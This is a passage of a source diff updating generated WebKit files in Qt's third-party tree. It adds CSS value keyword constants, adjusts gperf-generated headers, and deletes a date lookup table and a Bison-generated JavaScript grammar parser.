+const int CSSValueSearchfieldResultsDecoration = 412;
+const int CSSValueSearchfieldResultsButton = 413;
+const int CSSValueSearchfieldCancelButton = 414;
+const int CSSValueTextfield = 415;
+const int CSSValueTextarea = 416;
+const int CSSValueCapsLockIndicator = 417;
+const int CSSValueRound = 418;
+const int CSSValueBorder = 419;
+const int CSSValueBorderBox = 420;
+const int CSSValueContent = 421;
+const int CSSValueContentBox = 422;
+const int CSSValuePadding = 423;
+const int CSSValuePaddingBox = 424;
+const int CSSValueContain = 425;
+const int CSSValueCover = 426;
+const int CSSValueLogical = 427;
+const int CSSValueVisual = 428;
+const int CSSValueLines = 429;
+const int CSSValueRunning = 430;
+const int CSSValuePaused = 431;
+const int CSSValueFlat = 432;
+const int CSSValuePreserve3d = 433;
+const int CSSValueEase = 434;
+const int CSSValueLinear = 435;
+const int CSSValueEaseIn = 436;
+const int CSSValueEaseOut = 437;
+const int CSSValueEaseInOut = 438;
+const int CSSValueDocument = 439;
+const int CSSValueReset = 440;
+const int CSSValueVisiblepainted = 441;
+const int CSSValueVisiblefill = 442;
+const int CSSValueVisiblestroke = 443;
+const int CSSValuePainted = 444;
+const int CSSValueFill = 445;
+const int CSSValueStroke = 446;
+const int CSSValueAntialiased = 447;
+const int CSSValueSubpixelAntialiased = 448;
+const int CSSValueOptimizespeed = 449;
+const int CSSValueOptimizelegibility = 450;
+const int CSSValueGeometricprecision = 451;
+const int CSSValueSrgb = 452;
+const int CSSValueMini = 453;
+const int CSSValueFloating = 454;
+const int CSSValueApplication = 455;
+const int CSSValueFullscreen = 456;
+const int CSSValueAliceblue = 457;
+const int CSSValueAntiquewhite = 458;
+const int CSSValueAquamarine = 459;
+const int CSSValueAzure = 460;
+const int CSSValueBeige = 461;
+const int CSSValueBisque = 462;
+const int CSSValueBlanchedalmond = 463;
+const int CSSValueBlueviolet = 464;
+const int CSSValueBrown = 465;
+const int CSSValueBurlywood = 466;
+const int CSSValueCadetblue = 467;
+const int CSSValueChartreuse = 468;
+const int CSSValueChocolate = 469;
+const int CSSValueCoral = 470;
+const int CSSValueCornflowerblue = 471;
+const int CSSValueCornsilk = 472;
+const int CSSValueCrimson = 473;
+const int CSSValueCyan = 474;
+const int CSSValueDarkblue = 475;
+const int CSSValueDarkcyan = 476;
+const int CSSValueDarkgoldenrod = 477;
+const int CSSValueDarkgray = 478;
+const int CSSValueDarkgreen = 479;
+const int CSSValueDarkgrey = 480;
+const int CSSValueDarkkhaki = 481;
+const int CSSValueDarkmagenta = 482;
+const int CSSValueDarkolivegreen = 483;
+const int CSSValueDarkorange = 484;
+const int CSSValueDarkorchid = 485;
+const int CSSValueDarkred = 486;
+const int CSSValueDarksalmon = 487;
+const int CSSValueDarkseagreen = 488;
+const int CSSValueDarkslateblue = 489;
+const int CSSValueDarkslategray = 490;
+const int CSSValueDarkslategrey = 491;
+const int CSSValueDarkturquoise = 492;
+const int CSSValueDarkviolet = 493;
+const int CSSValueDeeppink = 494;
+const int CSSValueDeepskyblue = 495;
+const int CSSValueDimgray = 496;
+const int CSSValueDimgrey = 497;
+const int CSSValueDodgerblue = 498;
+const int CSSValueFirebrick = 499;
+const int CSSValueFloralwhite = 500;
+const int CSSValueForestgreen = 501;
+const int CSSValueGainsboro = 502;
+const int CSSValueGhostwhite = 503;
+const int CSSValueGold = 504;
+const int CSSValueGoldenrod = 505;
+const int CSSValueGreenyellow = 506;
+const int CSSValueHoneydew = 507;
+const int CSSValueHotpink = 508;
+const int CSSValueIndianred = 509;
+const int CSSValueIndigo = 510;
+const int CSSValueIvory = 511;
+const int CSSValueKhaki = 512;
+const int CSSValueLavender = 513;
+const int CSSValueLavenderblush = 514;
+const int CSSValueLawngreen = 515;
+const int CSSValueLemonchiffon = 516;
+const int CSSValueLightblue = 517;
+const int CSSValueLightcoral = 518;
+const int CSSValueLightcyan = 519;
+const int CSSValueLightgoldenrodyellow = 520;
+const int CSSValueLightgray = 521;
+const int CSSValueLightgreen = 522;
+const int CSSValueLightgrey = 523;
+const int CSSValueLightpink = 524;
+const int CSSValueLightsalmon = 525;
+const int CSSValueLightseagreen = 526;
+const int CSSValueLightskyblue = 527;
+const int CSSValueLightslategray = 528;
+const int CSSValueLightslategrey = 529;
+const int CSSValueLightsteelblue = 530;
+const int CSSValueLightyellow = 531;
+const int CSSValueLimegreen = 532;
+const int CSSValueLinen = 533;
+const int CSSValueMagenta = 534;
+const int CSSValueMediumaquamarine = 535;
+const int CSSValueMediumblue = 536;
+const int CSSValueMediumorchid = 537;
+const int CSSValueMediumpurple = 538;
+const int CSSValueMediumseagreen = 539;
+const int CSSValueMediumslateblue = 540;
+const int CSSValueMediumspringgreen = 541;
+const int CSSValueMediumturquoise = 542;
+const int CSSValueMediumvioletred = 543;
+const int CSSValueMidnightblue = 544;
+const int CSSValueMintcream = 545;
+const int CSSValueMistyrose = 546;
+const int CSSValueMoccasin = 547;
+const int CSSValueNavajowhite = 548;
+const int CSSValueOldlace = 549;
+const int CSSValueOlivedrab = 550;
+const int CSSValueOrangered = 551;
+const int CSSValueOrchid = 552;
+const int CSSValuePalegoldenrod = 553;
+const int CSSValuePalegreen = 554;
+const int CSSValuePaleturquoise = 555;
+const int CSSValuePalevioletred = 556;
+const int CSSValuePapayawhip = 557;
+const int CSSValuePeachpuff = 558;
+const int CSSValuePeru = 559;
+const int CSSValuePink = 560;
+const int CSSValuePlum = 561;
+const int CSSValuePowderblue = 562;
+const int CSSValueRosybrown = 563;
+const int CSSValueRoyalblue = 564;
+const int CSSValueSaddlebrown = 565;
+const int CSSValueSalmon = 566;
+const int CSSValueSandybrown = 567;
+const int CSSValueSeagreen = 568;
+const int CSSValueSeashell = 569;
+const int CSSValueSienna = 570;
+const int CSSValueSkyblue = 571;
+const int CSSValueSlateblue = 572;
+const int CSSValueSlategray = 573;
+const int CSSValueSlategrey = 574;
+const int CSSValueSnow = 575;
+const int CSSValueSpringgreen = 576;
+const int CSSValueSteelblue = 577;
+const int CSSValueTan = 578;
+const int CSSValueThistle = 579;
+const int CSSValueTomato = 580;
+const int CSSValueTurquoise = 581;
+const int CSSValueViolet = 582;
+const int CSSValueWheat = 583;
+const int CSSValueWhitesmoke = 584;
+const int CSSValueYellowgreen = 585;
+const int CSSValueNonzero = 586;
+const int CSSValueEvenodd = 587;
+const int CSSValueAccumulate = 588;
+const int CSSValueNew = 589;
+const int CSSValueLinearrgb = 590;
+const int CSSValueOptimizequality = 591;
+const int CSSValueCrispedges = 592;
+const int CSSValueButt = 593;
+const int CSSValueMiter = 594;
+const int CSSValueBevel = 595;
+const int CSSValueBeforeEdge = 596;
+const int CSSValueAfterEdge = 597;
+const int CSSValueCentral = 598;
+const int CSSValueTextBeforeEdge = 599;
+const int CSSValueTextAfterEdge = 600;
+const int CSSValueIdeographic = 601;
+const int CSSValueAlphabetic = 602;
+const int CSSValueHanging = 603;
+const int CSSValueMathematical = 604;
+const int CSSValueUseScript = 605;
+const int CSSValueNoChange = 606;
+const int CSSValueResetSize = 607;
+const int CSSValueLrTb = 608;
+const int CSSValueRlTb = 609;
+const int CSSValueTbRl = 610;
+const int CSSValueLr = 611;
+const int CSSValueRl = 612;
+const int CSSValueTb = 613;
+const int numCSSValueKeywords = 614;
+const size_t maxCSSValueKeywordLength = 35;
 
 const char* getValueName(unsigned short id);
 
diff --git a/src/3rdparty/webkit/WebCore/generated/ColorData.c b/src/3rdparty/webkit/WebCore/generated/ColorData.c
index 5d64dda..4fb1bea 100644
--- a/src/3rdparty/webkit/WebCore/generated/ColorData.c
+++ b/src/3rdparty/webkit/WebCore/generated/ColorData.c
@@ -1,4 +1,4 @@
-/* ANSI-C code produced by gperf version 3.0.3 */
+/* ANSI-C code produced by gperf version 3.0.1 */
 /* Command-line: gperf -CDEot -L ANSI-C --includes --key-positions='*' -N findColor -D -s 2  */
 
 #if !((' ' == 32) && ('!' == 33) && ('"' == 34) && ('#' == 35) \
@@ -141,9 +141,6 @@ hash (register const char *str, register unsigned int len)
 
 #ifdef __GNUC__
 __inline
-#ifdef __GNUC_STDC_INLINE__
-__attribute__ ((__gnu_inline__))
-#endif
 #endif
 const struct NamedColor *
 findColor (register const char *str, register unsigned int len)
diff --git a/src/3rdparty/webkit/WebCore/generated/DatePrototype.lut.h b/src/3rdparty/webkit/WebCore/generated/DatePrototype.lut.h
deleted file mode 100644
index 507cf91..0000000
--- a/src/3rdparty/webkit/WebCore/generated/DatePrototype.lut.h
+++ /dev/null
@@ -1,59 +0,0 @@
-// Automatically generated from ../../JavaScriptCore/runtime/DatePrototype.cpp using JavaScriptCore/create_hash_table. DO NOT EDIT!
-
-#include "Lookup.h"
-
-namespace JSC {
-
-static const struct HashTableValue dateTableValues[47] = {
-   { "toString", DontEnum|Function, (intptr_t)dateProtoFuncToString, (intptr_t)0 },
-   { "toISOString", DontEnum|Function, (intptr_t)dateProtoFuncToISOString, (intptr_t)0 },
-   { "toUTCString", DontEnum|Function, (intptr_t)dateProtoFuncToUTCString, (intptr_t)0 },
-   { "toDateString", DontEnum|Function, (intptr_t)dateProtoFuncToDateString, (intptr_t)0 },
-   { "toTimeString", DontEnum|Function, (intptr_t)dateProtoFuncToTimeString, (intptr_t)0 },
-   { "toLocaleString", DontEnum|Function, (intptr_t)dateProtoFuncToLocaleString, (intptr_t)0 },
-   { "toLocaleDateString", DontEnum|Function, (intptr_t)dateProtoFuncToLocaleDateString, (intptr_t)0 },
-   { "toLocaleTimeString", DontEnum|Function, (intptr_t)dateProtoFuncToLocaleTimeString, (intptr_t)0 },
-   { "valueOf", DontEnum|Function, (intptr_t)dateProtoFuncGetTime, (intptr_t)0 },
-   { "getTime", DontEnum|Function, (intptr_t)dateProtoFuncGetTime, (intptr_t)0 },
-   { "getFullYear", DontEnum|Function, (intptr_t)dateProtoFuncGetFullYear, (intptr_t)0 },
-   { "getUTCFullYear", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCFullYear, (intptr_t)0 },
-   { "toGMTString", DontEnum|Function, (intptr_t)dateProtoFuncToGMTString, (intptr_t)0 },
-   { "getMonth", DontEnum|Function, (intptr_t)dateProtoFuncGetMonth, (intptr_t)0 },
-   { "getUTCMonth", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCMonth, (intptr_t)0 },
-   { "getDate", DontEnum|Function, (intptr_t)dateProtoFuncGetDate, (intptr_t)0 },
-   { "getUTCDate", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCDate, (intptr_t)0 },
-   { "getDay", DontEnum|Function, (intptr_t)dateProtoFuncGetDay, (intptr_t)0 },
-   { "getUTCDay", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCDay, (intptr_t)0 },
-   { "getHours", DontEnum|Function, (intptr_t)dateProtoFuncGetHours, (intptr_t)0 },
-   { "getUTCHours", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCHours, (intptr_t)0 },
-   { "getMinutes", DontEnum|Function, (intptr_t)dateProtoFuncGetMinutes, (intptr_t)0 },
-   { "getUTCMinutes", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCMinutes, (intptr_t)0 },
-   { "getSeconds", DontEnum|Function, (intptr_t)dateProtoFuncGetSeconds, (intptr_t)0 },
-   { "getUTCSeconds", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCSeconds, (intptr_t)0 },
-   { "getMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncGetMilliSeconds, (intptr_t)0 },
-   { "getUTCMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncGetUTCMilliseconds, (intptr_t)0 },
-   { "getTimezoneOffset", DontEnum|Function, (intptr_t)dateProtoFuncGetTimezoneOffset, (intptr_t)0 },
-   { "setTime", DontEnum|Function, (intptr_t)dateProtoFuncSetTime, (intptr_t)1 },
-   { "setMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncSetMilliSeconds, (intptr_t)1 },
-   { "setUTCMilliseconds", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCMilliseconds, (intptr_t)1 },
-   { "setSeconds", DontEnum|Function, (intptr_t)dateProtoFuncSetSeconds, (intptr_t)2 },
-   { "setUTCSeconds", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCSeconds, (intptr_t)2 },
-   { "setMinutes", DontEnum|Function, (intptr_t)dateProtoFuncSetMinutes, (intptr_t)3 },
-   { "setUTCMinutes", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCMinutes, (intptr_t)3 },
-   { "setHours", DontEnum|Function, (intptr_t)dateProtoFuncSetHours, (intptr_t)4 },
-   { "setUTCHours", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCHours, (intptr_t)4 },
-   { "setDate", DontEnum|Function, (intptr_t)dateProtoFuncSetDate, (intptr_t)1 },
-   { "setUTCDate", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCDate, (intptr_t)1 },
-   { "setMonth", DontEnum|Function, (intptr_t)dateProtoFuncSetMonth, (intptr_t)2 },
-   { "setUTCMonth", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCMonth, (intptr_t)2 },
-   { "setFullYear", DontEnum|Function, (intptr_t)dateProtoFuncSetFullYear, (intptr_t)3 },
-   { "setUTCFullYear", DontEnum|Function, (intptr_t)dateProtoFuncSetUTCFullYear, (intptr_t)3 },
-   { "setYear", DontEnum|Function, (intptr_t)dateProtoFuncSetYear, (intptr_t)1 },
-   { "getYear", DontEnum|Function, (intptr_t)dateProtoFuncGetYear, (intptr_t)0 },
-   { "toJSON", DontEnum|Function, (intptr_t)dateProtoFuncToJSON, (intptr_t)0 },
-   { 0, 0, 0, 0 }
-};
-
-extern JSC_CONST_HASHTABLE HashTable dateTable =
-    { 134, 127, dateTableValues, 0 };
-} // namespace
diff --git a/src/3rdparty/webkit/WebCore/generated/DocTypeStrings.cpp b/src/3rdparty/webkit/WebCore/generated/DocTypeStrings.cpp
index d69b1b6..2aab9b9 100644
--- a/src/3rdparty/webkit/WebCore/generated/DocTypeStrings.cpp
+++ b/src/3rdparty/webkit/WebCore/generated/DocTypeStrings.cpp
@@ -1,4 +1,4 @@
-/* ANSI-C code produced by gperf version 3.0.3 */
+/* ANSI-C code produced by gperf version 3.0.1 */
 /* Command-line: gperf -CEot -L ANSI-C --includes --key-positions='*' -N findDoctypeEntry -F ,PubIDInfo::eAlmostStandards,PubIDInfo::eAlmostStandards  */
 
 #if !((' ' == 32) && ('!' == 33) && ('"' == 34) && ('#' == 35) \
@@ -331,9 +331,6 @@ hash (register const char *str, register unsigned int len)
 
 #ifdef __GNUC__
 __inline
-#ifdef __GNUC_STDC_INLINE__
-__attribute__ ((__gnu_inline__))
-#endif
 #endif
 const struct PubIDInfo *
 findDoctypeEntry (register const char *str, register unsigned int len)
diff --git a/src/3rdparty/webkit/WebCore/generated/Grammar.cpp b/src/3rdparty/webkit/WebCore/generated/Grammar.cpp
deleted file mode 100644
index 95fc52d..0000000
--- a/src/3rdparty/webkit/WebCore/generated/Grammar.cpp
+++ /dev/null
@@ -1,5607 +0,0 @@
-
-/* A Bison parser, made by GNU Bison 2.4.1.  */
-
-/* Skeleton implementation for Bison's Yacc-like parsers in C
-   
-      Copyright (C) 1984, 1989, 1990, 2000, 2001, 2002, 2003, 2004, 2005, 2006
-   Free Software Foundation, Inc.
-   
-   This program is free software: you can redistribute it and/or modify
-   it under the terms of the GNU General Public License as published by
-   the Free Software Foundation, either version 3 of the License, or
-   (at your option) any later version.
-   
-   This program is distributed in the hope that it will be useful,
-   but WITHOUT ANY WARRANTY; without even the implied warranty of
-   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-   GNU General Public License for more details.
-   
-   You should have received a copy of the GNU General Public License
-   along with this program.  If not, see <http://www.gnu.org/licenses/>.  */
-
-/* As a special exception, you may create a larger work that contains
-   part or all of the Bison parser skeleton and distribute that work
-   under terms of your choice, so long as that work isn't itself a
-   parser generator using the skeleton or a modified version thereof
-   as a parser skeleton.  Alternatively, if you modify or redistribute
-   the parser skeleton itself, you may (at your option) remove this
-   special exception, which will cause the skeleton and the resulting
-   Bison output files to be licensed under the GNU General Public
-   License without this special exception.
-   
-   This special exception was added by the Free Software Foundation in
-   version 2.2 of Bison.  */
-
-/* C LALR(1) parser skeleton written by Richard Stallman, by
-   simplifying the original so-called "semantic" parser.  */
-
-/* All symbols defined below should begin with yy or YY, to avoid
-   infringing on user name space.  This should be done even for local
-   variables, as they might otherwise be expanded by user macros.
-   There are some unavoidable exceptions within include files to
-   define necessary library symbols; they are noted "INFRINGES ON
-   USER NAME SPACE" below.  */
-
-/* Identify Bison output.  */
-#define YYBISON 1
-
-/* Bison version.  */
-#define YYBISON_VERSION "2.4.1"
-
-/* Skeleton name.  */
-#define YYSKELETON_NAME "yacc.c"
-
-/* Pure parsers.  */
-#define YYPURE 1
-
-/* Push parsers.  */
-#define YYPUSH 0
-
-/* Pull parsers.  */
-#define YYPULL 1
-
-/* Using locations.  */
-#define YYLSP_NEEDED 1
-
-/* Substitute the variable and function names.  */
-#define yyparse         jscyyparse
-#define yylex           jscyylex
-#define yyerror         jscyyerror
-#define yylval          jscyylval
-#define yychar          jscyychar
-#define yydebug         jscyydebug
-#define yynerrs         jscyynerrs
-#define yylloc          jscyylloc
-
-/* Copy the first part of user declarations.  */
-
-/* Line 189 of yacc.c  */
-#line 3 "../../JavaScriptCore/parser/Grammar.y"
-
-
-/*
- *  Copyright (C) 1999-2000 Harri Porten (porten@kde.org)
- *  Copyright (C) 2006, 2007, 2008, 2009 Apple Inc. All rights reserved.
- *  Copyright (C) 2007 Eric Seidel <eric@webkit.org>
- *
- *  This library is free software; you can redistribute it and/or
- *  modify it under the terms of the GNU Lesser General Public
- *  License as published by the Free Software Foundation; either
- *  version 2 of the License, or (at your option) any later version.
- *
- *  This library is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
- *  Lesser General Public License for more details.
- *
- *  You should have received a copy of the GNU Lesser General Public
- *  License along with this library; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA
- *
- */
-
-#include "config.h"
-
-#include "JSObject.h"
-#include "JSString.h"
-#include "Lexer.h"
-#include "NodeConstructors.h"
-#include "NodeInfo.h"
-#include <stdlib.h>
-#include <string.h>
-#include <wtf/MathExtras.h>
-
-#define YYMALLOC fastMalloc
-#define YYFREE fastFree
-
-#define YYMAXDEPTH 10000
-#define YYENABLE_NLS 0
-
-// Default values for bison.
-#define YYDEBUG 0 // Set to 1 to debug a parse error.
-#define jscyydebug 0 // Set to 1 to debug a parse error.
-#if !PLATFORM(DARWIN)
-// Avoid triggering warnings in older bison by not setting this on the Darwin platform.
-// FIXME: Is this still needed?
-#define YYERROR_VERBOSE
-#endif
-
-int jscyyerror(const char*);
-
-static inline bool allowAutomaticSemicolon(JSC::Lexer&, int);
-
-#define GLOBAL_DATA static_cast<JSGlobalData*>(globalPtr)
-#define AUTO_SEMICOLON do { if (!allowAutomaticSemicolon(*GLOBAL_DATA->lexer, yychar)) YYABORT; } while (0)
-
-using namespace JSC;
-using namespace std;
-
-static ExpressionNode* makeAssignNode(JSGlobalData*, ExpressionNode* left, Operator, ExpressionNode* right, bool leftHasAssignments, bool rightHasAssignments, int start, int divot, int end);
-static ExpressionNode* makePrefixNode(JSGlobalData*, ExpressionNode*, Operator, int start, int divot, int end);
-static ExpressionNode* makePostfixNode(JSGlobalData*, ExpressionNode*, Operator, int start, int divot, int end);
-static PropertyNode* makeGetterOrSetterPropertyNode(JSGlobalData*, const Identifier& getOrSet, const Identifier& name, ParameterNode*, FunctionBodyNode*, const SourceCode&);
-static ExpressionNodeInfo makeFunctionCallNode(JSGlobalData*, ExpressionNodeInfo function, ArgumentsNodeInfo, int start, int divot, int end);
-static ExpressionNode* makeTypeOfNode(JSGlobalData*, ExpressionNode*);
-static ExpressionNode* makeDeleteNode(JSGlobalData*, ExpressionNode*, int start, int divot, int end);
-static ExpressionNode* makeNegateNode(JSGlobalData*, ExpressionNode*);
-static NumberNode* makeNumberNode(JSGlobalData*, double);
-static ExpressionNode* makeBitwiseNotNode(JSGlobalData*, ExpressionNode*);
-static ExpressionNode* makeMultNode(JSGlobalData*, ExpressionNode* left, ExpressionNode* right, bool rightHasAssignments);
-static ExpressionNode* makeDivNode(JSGlobalData*, ExpressionNode* left, ExpressionNode* right, bool rightHasAssignments);
-static ExpressionNode* makeAddNode(JSGlobalData*, ExpressionNode* left, ExpressionNode* right, bool rightHasAssignments);
-static ExpressionNode* makeSubNode(JSGlobalData*, ExpressionNode* left, ExpressionNode* right, bool rightHasAssignments);
-static ExpressionNode* makeLeftShiftNode(JSGlobalData*, ExpressionNode* left, ExpressionNode* right, bool rightHasAssignments);
-static ExpressionNode* makeRightShiftNode(JSGlobalData*, ExpressionNode* left, ExpressionNode* right, bool rightHasAssignments);
-static StatementNode* makeVarStatementNode(JSGlobalData*, ExpressionNode*);
-static ExpressionNode* combineCommaNodes(JSGlobalData*, ExpressionNode* list, ExpressionNode* init);
-
-#if COMPILER(MSVC)
-
-#pragma warning(disable: 4065)
-#pragma warning(disable: 4244)
-#pragma warning(disable: 4702)
-
-#endif
-
-#define YYPARSE_PARAM globalPtr
-#define YYLEX_PARAM globalPtr
-
-template <typename T> inline NodeDeclarationInfo<T> createNodeDeclarationInfo(T node,
-    ParserArenaData<DeclarationStacks::VarStack>* varDecls,
-    ParserArenaData<DeclarationStacks::FunctionStack>* funcDecls,
-    CodeFeatures info, int numConstants) 
-{
-    ASSERT((info & ~AllFeatures) == 0);
-    NodeDeclarationInfo<T> result = { node, varDecls, funcDecls, info, numConstants };
-    return result;
-}
-
-template <typename T> inline NodeInfo<T> createNodeInfo(T node, CodeFeatures info, int numConstants)
-{
-    ASSERT((info & ~AllFeatures) == 0);
-    NodeInfo<T> result = { node, info, numConstants };
-    return result;
-}
-
-template <typename T> inline T mergeDeclarationLists(T decls1, T decls2) 
-{
-    // decls1 or both are null
-    if (!decls1)
-        return decls2;
-    // only decls1 is non-null
-    if (!decls2)
-        return decls1;
-
-    // Both are non-null
-    decls1->data.append(decls2->data);
-    
-    // Manually release as much as possible from the now-defunct declaration lists
-    // to avoid accumulating so many unused heap allocated vectors.
-    decls2->data.clear();
-
-    return decls1;
-}
-
-static inline void appendToVarDeclarationList(JSGlobalData* globalData, ParserArenaData<DeclarationStacks::VarStack>*& varDecls, const Identifier& ident, unsigned attrs)
-{
-    if (!varDecls)
-        varDecls = new (globalData) ParserArenaData<DeclarationStacks::VarStack>;
-
-    varDecls->data.append(make_pair(&ident, attrs));
-}
-
-static inline void appendToVarDeclarationList(JSGlobalData* globalData, ParserArenaData<DeclarationStacks::VarStack>*& varDecls, ConstDeclNode* decl)
-{
-    unsigned attrs = DeclarationStacks::IsConstant;
-    if (decl->hasInitializer())
-        attrs |= DeclarationStacks::HasInitializer;        
-    appendToVarDeclarationList(globalData, varDecls, decl->ident(), attrs);
-}
-
-
-
-/* Line 189 of yacc.c  */
-#line 225 "WebCore/tmp/../generated/Grammar.tab.c"
-
-/* Enabling traces.  */
-#ifndef YYDEBUG
-# define YYDEBUG 0
-#endif
-
-/* Enabling verbose error messages.  */
-#ifdef YYERROR_VERBOSE
-# undef YYERROR_VERBOSE
-# define YYERROR_VERBOSE 1
-#else
-# define YYERROR_VERBOSE 0
-#endif
-
-/* Enabling the token table.  */
-#ifndef YYTOKEN_TABLE
-# define YYTOKEN_TABLE 0
-#endif
-
-
-/* Tokens.  */
-#ifndef YYTOKENTYPE
-# define YYTOKENTYPE
-   /* Put the tokens into the symbol table, so that GDB and other debuggers
-      know about them.  */
-   enum yytokentype {
-     NULLTOKEN = 258,
-     TRUETOKEN = 259,
-     FALSETOKEN = 260,
-     BREAK = 261,
-     CASE = 262,
-     DEFAULT = 263,
-     FOR = 264,
-     NEW = 265,
-     VAR = 266,
-     CONSTTOKEN = 267,
-     CONTINUE = 268,
-     FUNCTION = 269,
-     RETURN = 270,
-     VOIDTOKEN = 271,
-     DELETETOKEN = 272,
-     IF = 273,
-     THISTOKEN = 274,
-     DO = 275,
-     WHILE = 276,
-     INTOKEN = 277,
-     INSTANCEOF = 278,
-     TYPEOF = 279,
-     SWITCH = 280,
-     WITH = 281,
-     RESERVED = 282,
-     THROW = 283,
-     TRY = 284,
-     CATCH = 285,
-     FINALLY = 286,
-     DEBUGGER = 287,
-     IF_WITHOUT_ELSE = 288,
-     ELSE = 289,
-     EQEQ = 290,
-     NE = 291,
-     STREQ = 292,
-     STRNEQ = 293,
-     LE = 294,
-     GE = 295,
-     OR = 296,
-     AND = 297,
-     PLUSPLUS = 298,
-     MINUSMINUS = 299,
-     LSHIFT = 300,
-     RSHIFT = 301,
-     URSHIFT = 302,
-     PLUSEQUAL = 303,
-     MINUSEQUAL = 304,
-     MULTEQUAL = 305,
-     DIVEQUAL = 306,
-     LSHIFTEQUAL = 307,
-     RSHIFTEQUAL = 308,
-     URSHIFTEQUAL = 309,
-     ANDEQUAL = 310,
-     MODEQUAL = 311,
-     XOREQUAL = 312,
-     OREQUAL = 313,
-     OPENBRACE = 314,
-     CLOSEBRACE = 315,
-     NUMBER = 316,
-     IDENT = 317,
-     STRING = 318,
-     AUTOPLUSPLUS = 319,
-     AUTOMINUSMINUS = 320
-   };
-#endif
-
-
-
-#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED
-typedef union YYSTYPE
-{
-
-/* Line 214 of yacc.c  */
-#line 146 "../../JavaScriptCore/parser/Grammar.y"
-
-    int                 intValue;
-    double              doubleValue;
-    const Identifier*   ident;
-
-    // expression subtrees
-    ExpressionNodeInfo  expressionNode;
-    FuncDeclNodeInfo    funcDeclNode;
-    PropertyNodeInfo    propertyNode;
-    ArgumentsNodeInfo   argumentsNode;
-    ConstDeclNodeInfo   constDeclNode;
-    CaseBlockNodeInfo   caseBlockNode;
-    CaseClauseNodeInfo  caseClauseNode;
-    FuncExprNodeInfo    funcExprNode;
-
-    // statement nodes
-    StatementNodeInfo   statementNode;
-    FunctionBodyNode*   functionBodyNode;
-    ProgramNode*        programNode;
-
-    SourceElementsInfo  sourceElements;
-    PropertyListInfo    propertyList;
-    ArgumentListInfo    argumentList;
-    VarDeclListInfo     varDeclList;
-    ConstDeclListInfo   constDeclList;
-    ClauseListInfo      clauseList;
-    ElementListInfo     elementList;
-    ParameterListInfo   parameterList;
-
-    Operator            op;
-
-
-
-/* Line 214 of yacc.c  */
-#line 360 "WebCore/tmp/../generated/Grammar.tab.c"
-} YYSTYPE;
-# define YYSTYPE_IS_TRIVIAL 1
-# define yystype YYSTYPE /* obsolescent; will be withdrawn */
-# define YYSTYPE_IS_DECLARED 1
-#endif
-
-#if ! defined YYLTYPE && ! defined YYLTYPE_IS_DECLARED
-typedef struct YYLTYPE
-{
-  int first_line;
-  int first_column;
-  int last_line;
-  int last_column;
-} YYLTYPE;
-# define yyltype YYLTYPE /* obsolescent; will be withdrawn */
-# define YYLTYPE_IS_DECLARED 1
-# define YYLTYPE_IS_TRIVIAL 1
-#endif
-
-
-/* Copy the second part of user declarations.  */
-
-/* Line 264 of yacc.c  */
-#line 178 "../../JavaScriptCore/parser/Grammar.y"
-
-
-template <typename T> inline void setStatementLocation(StatementNode* statement, const T& start, const T& end)
-{
-    statement->setLoc(start.first_line, end.last_line);
-}
-
-static inline void setExceptionLocation(ThrowableExpressionData* node, unsigned start, unsigned divot, unsigned end)
-{
-    node->setExceptionSourceCode(divot, divot - start, end - divot);
-}
-
-
-
-/* Line 264 of yacc.c  */
-#line 400 "WebCore/tmp/../generated/Grammar.tab.c"
-
-#ifdef short
-# undef short
-#endif
-
-#ifdef YYTYPE_UINT8
-typedef YYTYPE_UINT8 yytype_uint8;
-#else
-typedef unsigned char yytype_uint8;
-#endif
-
-#ifdef YYTYPE_INT8
-typedef YYTYPE_INT8 yytype_int8;
-#elif (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-typedef signed char yytype_int8;
-#else
-typedef short int yytype_int8;
-#endif
-
-#ifdef YYTYPE_UINT16
-typedef YYTYPE_UINT16 yytype_uint16;
-#else
-typedef unsigned short int yytype_uint16;
-#endif
-
-#ifdef YYTYPE_INT16
-typedef YYTYPE_INT16 yytype_int16;
-#else
-typedef short int yytype_int16;
-#endif
-
-#ifndef YYSIZE_T
-# ifdef __SIZE_TYPE__
-#  define YYSIZE_T __SIZE_TYPE__
-# elif defined size_t
-#  define YYSIZE_T size_t
-# elif ! defined YYSIZE_T && (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-#  include <stddef.h> /* INFRINGES ON USER NAME SPACE */
-#  define YYSIZE_T size_t
-# else
-#  define YYSIZE_T unsigned int
-# endif
-#endif
-
-#define YYSIZE_MAXIMUM ((YYSIZE_T) -1)
-
-#ifndef YY_
-# if YYENABLE_NLS
-#  if ENABLE_NLS
-#   include <libintl.h> /* INFRINGES ON USER NAME SPACE */
-#   define YY_(msgid) dgettext ("bison-runtime", msgid)
-#  endif
-# endif
-# ifndef YY_
-#  define YY_(msgid) msgid
-# endif
-#endif
-
-/* Suppress unused-variable warnings by "using" E.  */
-#if ! defined lint || defined __GNUC__
-# define YYUSE(e) ((void) (e))
-#else
-# define YYUSE(e) /* empty */
-#endif
-
-/* Identity function, used to suppress warnings about constant conditions.  */
-#ifndef lint
-# define YYID(n) (n)
-#else
-#if (defined __STDC__ || defined __C99__FUNC__ \
-     || defined __cplusplus || defined _MSC_VER)
-static int
-YYID (int yyi)
-#else
-static int
-YYID (yyi)
-    int yyi;
-#endif
-{
-  return yyi;
-}
-#endif
-
